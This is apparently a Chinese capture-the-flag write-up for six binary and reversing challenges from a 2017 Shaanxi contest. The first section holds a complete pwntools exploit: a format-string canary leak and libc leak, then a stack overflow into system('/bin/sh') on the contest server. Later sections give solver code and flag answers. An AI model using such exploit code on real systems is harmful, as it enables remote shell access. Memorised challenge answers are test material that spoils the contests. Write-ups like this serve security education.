2017陕西网络空间安全全技能大赛writeup(二进制)

2017陕西网络空间安全全技能大赛writeup(二进制)

0x00 Magical Box

当时比赛的时候没有做出这个题目,比赛结束之后看了别人的writeup,总结如下:首先查看保护机制:

gdb-peda$ checkse
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

开了canary和nx,想着可能需要爆破canary的值或者通过stack_chk_fail实现利用。

通过IDA分析可以找到一个格式化字符串漏洞,刚开始不知道是干啥的,先扔一边

后来发现可以通过这个格式化字符串爆破出canary值

之后的一些小坑是需要你输入正确的用户名,程序把你输入的用户名经过异或加密和一个固定的字符串比较

通过gdb动态调试,再写个小脚本就可以跑出来用户名

str='8Ybj*yu;Ac'
str1=[89,61,15,3,68,75,69,10,118,0]
str2=''
for i in xrange(0,len(str)):
    str2+=chr(ord(str[i])^str1[i])
    print str2

最后的用户名是admin2017,输入用户名之后会有一个可选的操作,在IDA里分别分析这些操作,在add操作中有一个明显的栈溢出

这样一来,利用逻辑就明朗很多了,首先通过格式化字符串漏洞泄漏canary值,之后泄漏函数真是地址,最后将获取的canary值和/bin/sh真实地址构造payload

from pwn import *
context.log_level = "debug"
r = remote("117.34.80.134", 7777)
def leak(addr):
    r.recvuntil("you?\n")
    payload = "aa" + p32(addr) + "%5$s"
    r.sendline(payload)
    r.recvuntil("login!aa")
    r.recv(4)
    data = r.recvuntil("\n")
    data = data.replace("\n","")
    return data
def leak_canary():
    r.recvuntil("you?\n")
    payload = "%7$p"
    r.sendline(payload)
    r.recvuntil("login!")
    data = r.recvuntil("\n")
    data = data.replace("\n", "")
    return data
canary = int(leak_canary(),16)
print "[*] canary:".format(hex(canary))
printf_got = 0x0804B010
leak_data = leak(printf_got)
printf_addr = u32(leak_data[0:4])
print "[*] printf:".format(hex(printf_addr))
libc = ELF("./libc.so.6")
libc_base = printf_addr - libc.symbols["printf"]
system_addr = libc_base + libc.symbols["system"]
sh_addr = next(libc.search("/bin/sh")) + libc_base
#attach()
r.recvuntil("you?\n")
r.sendline("admin2017")
r.recvuntil("commands.")
r.sendline("add")
r.recvuntil("APP/Site: ")
r.sendline("a"*0x31)
r.recvuntil("Username: ")
r.sendline("b"*0x1d)
r.recvuntil("Password: ")
payload = "a"*30
payload += p32(canary)
payload += "a"*0xc
payload += p32(system_addr)
payload += p32(0)
payload += p32(sh_addr)
r.sendline(payload)
r.interactive()

0x01 拯救鲁班七号

#include "stdafx.h"
#include<iostream>
using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
    char v5[17];
    int v6 =16;
    char v7;
    int v8=0; // eax@3
    char *v9; // edx@5
    char *v10; // eax@5
    char v11; // si@5
    int v23=0;
    gets_s(v5);
    while ( 1 )
  {
    v23 += 2;
    if ( v6 <= v23 )
      break;
    v7 = v5[v23 - 2];
    v5[v23 - 2] = v5[v23 - 1];
    v8 = 0;
    v5[v23 - 1] = v7;
    if ( v6 > 4 )
    {
      for ( int i = 4; ; i += 4 )
      {
        v10 = (char *)&v5[v8];
        v9 = v10;
        v11 = *v10;
        v10 += 4;
        *v9 = *v10;
        *v10 = v11;
        v8 = i;
        if ( v6 <= i + 4 )
          break;
      }
    }
  }
    printf("%s",v5);
    system("pause");
    return 0;
}

之后把结果S!@#@1FD23154A34按照规律逆推就可以了

0x02 The Marauder’s Map

本题的关键是需要打开数据库查看信息,推荐下载SQLite Developer这个软件。对应的信息是9838e888496bfda98afdbb98a9b9a9d9cdfa29,之后通过IDA分析得出程序将输入的字符串每一位经过运算转换成两位与数据库的信息比较。

#include "stdafx.h"
#include<iostream>
using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
    char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
    signed int jisuan(signed int a1);
    for(int j=0;j<=strlen(flag);j+=2){
    for(signed int v1=0x00;v1<=0x7E;v1++){
    int a= jisuan(~v1& 0xF);
    int b= jisuan((v1>>4)^0xE);
    if(a==flag[j]&&b==flag[j+1])
        printf("%c",v1);
    }
    }
    system("pause");
    return 0;
}

signed int jisuan(signed int a1)
{
   signed int v1; // r3@3

  if ( a1 > 9 || a1 < 0 )
  {
    if ( a1 <= 9 || a1 > 15 )
      v1 = 255;
    else
      v1 = (unsigned __int8)(a1 + 87);
  }
  else
  {
    v1 = (unsigned __int8)(a1 + 48);
  }
  return v1;
}

0x03 人民的名义抓捕赵德汉1

这个题有点莫名其妙很简单就是解一个md5就可以,做出来吓了自己一跳
fa3733c647dca53a66cf8df953c2d539

解出来是monkey99

0x04 人民的名义抓捕赵德汉2

脚本如下,跑出来就可以了

#!/usr/bin/python
#-*- coding: UTF-8 -*-

def diedai(n):
    if n >2:
        return diedai(n-1)+diedai(n-2)
    else:
        return 1

def change(n,k):
    return diedai(n)%len(k)

if __name__ == '__main__':
    str = "vȾ¤ÊʬÆÆÊv̤ʲʲÀΤ¨¸¬"
    x = []
    for i in range(len(str)):
        x.append(chr((ord(str[i]) >> 1) + 15))
    key=''.join(x)
    s=[]
    z1=0
    for z2 in range(0,4):
        for z3 in range(0,4):
            s.append(key[change(z1+z3,key)])
        z1+=5
    print(s)

0x05 取证密码

其实就是在一个长的字符串里取了指定的字符连起来就是flag了

0x39 ,0x20,7,0xA,0x20, 0x29 ,0x13,2,0x3A,0xC,0x11,0x31 ,0x3B,0xB, 7

跑一下就出来了
a=’yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W’
print a[0x39]+a[0x20]+a[0x7]+a[0xA]+a[0x20]+a[0x29]+a[0x13]+a[0x2]+a[0x3A]+a[0xC]+a[0x11]+a[0x31]+a[0x3B]+a[0xB]+a[0x7]

文章目录
  1. 1. 2017陕西网络空间安全全技能大赛writeup(二进制)
    1. 1.1. 0x00 Magical Box
    2. 1.2. 0x01 拯救鲁班七号
    3. 1.3. 0x02 The Marauder’s Map
    4. 1.4. 0x03 人民的名义抓捕赵德汉1
    5. 1.5. 0x04 人民的名义抓捕赵德汉2
    6. 1.6. 0x05 取证密码
|